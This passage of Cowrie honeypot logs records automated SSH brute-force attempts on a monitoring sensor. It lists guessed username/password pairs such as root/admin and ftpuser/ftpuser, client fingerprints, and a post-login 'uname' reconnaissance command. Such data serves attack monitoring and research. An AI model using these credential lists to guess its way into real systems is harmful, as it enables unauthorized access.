{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:17:08.925575Z","src_ip":"193.151.144.93","session":"e2d841c7a991","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.242.203.160","src_port":50214,"dst_ip":"159.203.135.109","dst_port":22,"session":"cecf9ff76ba6","protocol":"ssh","message":"New connection: 43.242.203.160:50214 (159.203.135.109:22) [session: cecf9ff76ba6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:17:10.107021Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:17:10.112705Z","src_ip":"43.242.203.160","session":"cecf9ff76ba6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:17:10.363147Z","src_ip":"43.242.203.160","session":"cecf9ff76ba6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"258369","message":"login attempt [root/258369] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:17:11.384474Z","src_ip":"43.242.203.160","session":"cecf9ff76ba6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":49134,"dst_ip":"10.17.0.5","dst_port":22,"session":"0173a5608487","protocol":"ssh","message":"New connection: 193.151.144.93:49134 (10.17.0.5:22) [session: 0173a5608487]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:17:11.906693Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:17:11.915003Z","src_ip":"193.151.144.93","session":"0173a5608487","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:17:12.086669Z","src_ip":"193.151.144.93","session":"0173a5608487","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:17:12.598005Z","src_ip":"193.151.144.93","session":"0173a5608487","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:17:12.650371Z","src_ip":"43.242.203.160","session":"cecf9ff76ba6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:17:12.972879Z","src_ip":"193.151.144.93","session":"0173a5608487","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:17:12.978067Z","src_ip":"193.151.144.93","session":"0173a5608487","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:17:13.149534Z","src_ip":"193.151.144.93","session":"0173a5608487","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:17:13.158655Z","src_ip":"193.151.144.93","session":"0173a5608487","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":49138,"dst_ip":"10.17.0.5","dst_port":22,"session":"ace975896b65","protocol":"ssh","message":"New connection: 193.151.144.93:49138 (10.17.0.5:22) [session: ace975896b65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:17:17.424888Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:17:17.430005Z","src_ip":"193.151.144.93","session":"ace975896b65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:17:17.594321Z","src_ip":"193.151.144.93","session":"ace975896b65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ2wsx","message":"login attempt [root/!QAZ2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:17:18.087583Z","src_ip":"193.151.144.93","session":"ace975896b65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":49698,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ff903463bd9","protocol":"telnet","message":"New connection: 69.4.83.194:49698 (159.203.135.109:23) [session: 5ff903463bd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:17:21.416070Z"}
{"eventid":"cowrie.session.closed","duration":"5.1","message":"Connection lost after 5.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:17:22.546996Z","src_ip":"193.151.144.93","session":"ace975896b65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":55694,"dst_ip":"10.17.0.5","dst_port":22,"session":"4dd743b63413","protocol":"ssh","message":"New connection: 193.151.144.93:55694 (10.17.0.5:22) [session: 4dd743b63413]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:17:23.037745Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:17:23.043303Z","src_ip":"193.151.144.93","session":"4dd743b63413","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:17:23.212333Z","src_ip":"193.151.144.93","session":"4dd743b63413","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q2w3e4r","message":"login attempt [root/!Q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:17:23.711232Z","src_ip":"193.151.144.93","session":"4dd743b63413","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:17:26.556652Z","src_ip":"193.151.144.93","session":"4dd743b63413","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":55708,"dst_ip":"10.17.0.5","dst_port":22,"session":"b8f1f8def2b0","protocol":"ssh","message":"New connection: 193.151.144.93:55708 (10.17.0.5:22) [session: b8f1f8def2b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:17:28.320190Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:17:28.324353Z","src_ip":"193.151.144.93","session":"b8f1f8def2b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:17:28.485083Z","src_ip":"193.151.144.93","session":"b8f1f8def2b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345","message":"login attempt [root/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:17:28.965051Z","src_ip":"193.151.144.93","session":"b8f1f8def2b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:17:30.133834Z","src_ip":"193.151.144.93","session":"b8f1f8def2b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":58818,"dst_ip":"10.17.0.5","dst_port":22,"session":"7967471ee64a","protocol":"ssh","message":"New connection: 193.151.144.93:58818 (10.17.0.5:22) [session: 7967471ee64a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:17:33.780225Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:17:33.786894Z","src_ip":"193.151.144.93","session":"7967471ee64a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:17:33.955093Z","src_ip":"193.151.144.93","session":"7967471ee64a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qq123456","message":"login attempt [root/Qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:17:34.463966Z","src_ip":"193.151.144.93","session":"7967471ee64a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:17:35.633749Z","src_ip":"193.151.144.93","session":"7967471ee64a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":58834,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c750091c00e","protocol":"ssh","message":"New connection: 193.151.144.93:58834 (10.17.0.5:22) [session: 0c750091c00e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:17:39.447592Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:17:39.452244Z","src_ip":"193.151.144.93","session":"0c750091c00e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:17:39.615034Z","src_ip":"193.151.144.93","session":"0c750091c00e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"ftpuser","password":"ftpuser","message":"login attempt [ftpuser/ftpuser] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:17:40.106697Z","src_ip":"193.151.144.93","session":"0c750091c00e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:17:43.075978Z","src_ip":"193.151.144.93","session":"0c750091c00e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:17:43.080321Z","src_ip":"193.151.144.93","session":"0c750091c00e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.7","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:17:43.767690Z","src_ip":"193.151.144.93","session":"0c750091c00e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:17:43.772976Z","src_ip":"193.151.144.93","session":"0c750091c00e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":33662,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f92d62ecba2","protocol":"ssh","message":"New connection: 193.151.144.93:33662 (10.17.0.5:22) [session: 3f92d62ecba2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:17:44.889769Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:17:44.897563Z","src_ip":"193.151.144.93","session":"3f92d62ecba2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-n